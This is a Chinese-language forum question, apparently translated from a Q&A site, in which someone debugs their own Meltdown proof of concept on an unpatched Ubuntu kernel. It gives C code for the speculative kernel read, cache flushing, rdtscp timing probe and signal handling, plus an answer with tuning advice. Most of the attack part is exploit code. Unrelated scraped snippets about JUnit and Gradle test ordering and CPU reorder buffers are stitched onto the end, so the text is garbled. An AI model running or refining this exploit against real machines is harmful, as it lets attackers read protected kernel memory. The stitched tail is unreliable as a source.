我试图利用Ubuntu 16.04上的崩溃安全漏洞,英特尔酷睿-i5 CPU上的未修补内核4.8.0-364300M。
首先,我使用内核模块将机密数据存储在内核空间的一个地址:
static __init int initialize_proc(void){
char* key_val = "abcd";
printk("Secret data address = %p\n", key_val);
printk("Value at %p = %s\n", key_val, key_val);
}
printk语句给我秘密数据的地址。
Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
然后,我尝试访问此位置的数据,并在下一条指令中使用它缓存数组的元素。
// Out of order execution
int meltdown(unsigned long kernel_addr){
char data = *(char*) kernel_addr; //Raises exception
array[data*4096+DELTA] += 10; // <----- Execute out of order
}
当执行无序执行时,我希望CPU继续并在索引处缓存数组元素(数据*4096 DELTA)。在此之后,执行边界检查并抛出SIGSEGV。我处理SIGSEGV,然后计算对数组元素的访问时间,以确定缓存了哪个元素:
void attackChannel_x86(){
register uint64_t time1, time2;
volatile uint8_t *addr;
int min = 10000;
int temp, i, k;
for(i=0;i<256;i++){
time1 = __rdtscp(&temp); //timestamp before memory access
temp = array[i*4096 + DELTA];
time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
if(time2<=min){
min = time2;
k=i;
}
}
printf("array[%d*4096+DELTA]\n", k);
}
由于数据中的值是“a”,我希望结果是数组[97*4096 DELTA],因为“a”的ASCII值是97。
然而,这不起作用,我得到了随机输出。
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[241*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[78*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[146*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[115*4096+DELTA]
我可能想到的原因有:
由于系统很容易崩溃,我确信排除了第二种可能性。
因此,我的问题是:为什么乱序执行在这里不起作用?是否有任何选项/标志“鼓励”CPU乱序执行?
我已经尝试过的解决方案:
void attackChannel(){
int i, k, temp;
uint64_t diff;
volatile uint8_t *addr;
double min = 10000000;
struct timespec start, end;
for(i=0;i<256;i++){
addr = &array[i*4096 + DELTA];
clock_gettime(CLOCK_MONOTONIC, &start);
temp = *addr;
clock_gettime(CLOCK_MONOTONIC, &end);
diff = end.tv_nsec - start.tv_nsec;
if(diff<=min){
min = diff;
k=i;
}
}
if(min<600)
printf("Accessed element : array[%d*4096+DELTA]\n", k);
}
void meltdown_busy_loop(unsigned long kernel_addr){
char kernel_data;
asm volatile(
".rept 1000;"
"add $0x01, %%eax;"
".endr;"
:
:
:"eax"
);
kernel_data = *(char*)kernel_addr;
array[kernel_data*4096 + DELTA] +=10;
}
int meltdown(unsigned long kernel_addr){
// Cache the data to improve success
int fd = open("/proc/my_secret_key", O_RDONLY);
if(fd<0){
perror("open");
return -1;
}
int ret = pread(fd, NULL, 0, 0); //Data is cached
char data = *(char*) kernel_addr; //Raises exception
array[data*4096+DELTA] += 10; // <----- Out of order
}
对于任何有兴趣设置它的人,这里是指向github repo的链接
为完整起见,我在下面附加了主要函数和错误处理代码:
void flushChannel(){
int i;
for(i=0;i<256;i++) array[i*4096 + DELTA] = 1;
for(i=0;i<256;i++) _mm_clflush(&array[i*4096 + DELTA]);
}
void catch_segv(){
siglongjmp(jbuf, 1);
}
int main(){
unsigned long kernel_addr = 0xfa2ef024;
signal(SIGSEGV, catch_segv);
if(sigsetjmp(jbuf, 1)==0)
{
// meltdown(kernel_addr);
meltdown_busy_loop(kernel_addr);
}
else{
printf("Memory Access Violation\n");
}
attackChannel_x86();
}
我认为数据需要在L1d中才能Meltdown工作,并且尝试仅通过没有权限的TLB/页表条目读取它不会将其带入L1d。
http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/
当出现任何类型的不良结果(页面错误、从非推测性内存类型加载、页面访问位=0)时,所有处理器都不会启动非核心L2请求来获取数据。
除非我遗漏了什么,否则我认为只有当允许读取的内容将数据带入L1d时,数据才容易崩溃。(直接或通过硬件预取。)我认为反复的熔毁攻击不会将RAM中的数据带入L1d。
尝试向模块中添加一个系统调用或其他内容,该模块对机密数据使用READ\u ONCE()(或手动写入*(volatile int*)
至少使用imul(3c延迟),或者更好地使用xorps%xmm0,%xmm0重复的sqrtpd%xmm0,%xmm0(单uop,Haswell上的16周期延迟)https://agner.org/optimize/.
主要内容:1 概述,2 测试执行顺序,3 例子,4 结论1 概述 在本指南中,我们将学习如何按顺序执行测试。默认情况下,JUnit以任何顺序执行测试。 2 测试执行顺序 要更改测试执行顺序,只需使用@FixMethodOrder注释测试类并指定可用的MethodSorters之一: @FixMethodOrder(MethodSorters.JVM):按照JVM返回的顺序保留测试方法。此顺序可能因运行而异。 @FixMethodOrder(Method
22.13.1.执行测试 测试从main构建过程中分离出来的,运行在一个单独的JVM中执行.Test任务允许控制这些如何发生. 有许多属性用于控制测试过程如何启动.这包括使用诸如系统属性,JVM参数和Java可执行文件。 可以指定是否要并行执行测试.Gradle通过同时运行多个测试进程提供并行执行测试.每个测试进程在同一时间只能执行一个测试,为了充分利用这一特性,一般不需要为tests任务做什么特
问题内容: 我想选择执行JUnit测试的顺序。我有4个带有几种测试方法的类,我的目标是执行,例如,类A的方法Y,然后是类B的方法X,最后是类A的方法Z。 你能帮忙吗? 问题答案: 通常,您不能指定单独的单元测试的运行顺序(尽管您可以在TestNG中指定优先级,并且每个测试的优先级都不同)。但是,单元测试应该能够独立运行,因此测试的顺序无关紧要。这是一个坏习惯。如果需要按特定顺序进行测试,则应重新考
乱序缓存(reorder buffer,简称ROB)可以容纳40条微码。 一条微码呆在ROB中,直到所有它需要的操作数都已就绪并且有一个空的执行单元可用。 这一切使得乱序执行成为可能。 如果一部分代码因为cache不命中被延迟,且之后的代码独立于被延迟的操作,那么后面的代码不会被延迟。 写内存的操作无法乱序执行,其它的写操作都能。 一共有4个写缓存。 因此如果你预计写操作时会有很多cache不命中
问题内容: 我已经为Web API实现了多个软件包,每个软件包都有自己的测试用例。使用测试通过每个包装时通过。如果我想一次用测试案例运行所有测试,则总是失败。 在每个测试案例中,我使用来重新创建整个架构,并应用所有迁移。测试套件随机报告错误,说不存在关系/表,所以我猜每个测试套件(每个程序包)都以某种方式并行运行,从而弄乱了数据库状态。 我试图通过一些测试标志,例如没有成功。 这里的问题可能是并行
测试用例使用JUnitCore类执行。 JUnitCore是运行测试的外观。 它支持运行JUnit 4测试,JUnit 3.8.x测试和混合。 要从命令行运行测试,请运行java org.junit.runner.JUnitCore“TestClass”。 对于一次性测试运行,请使用静态方法runClasses(Class [])。 以下是org.junit.runner.JUnitCore类的声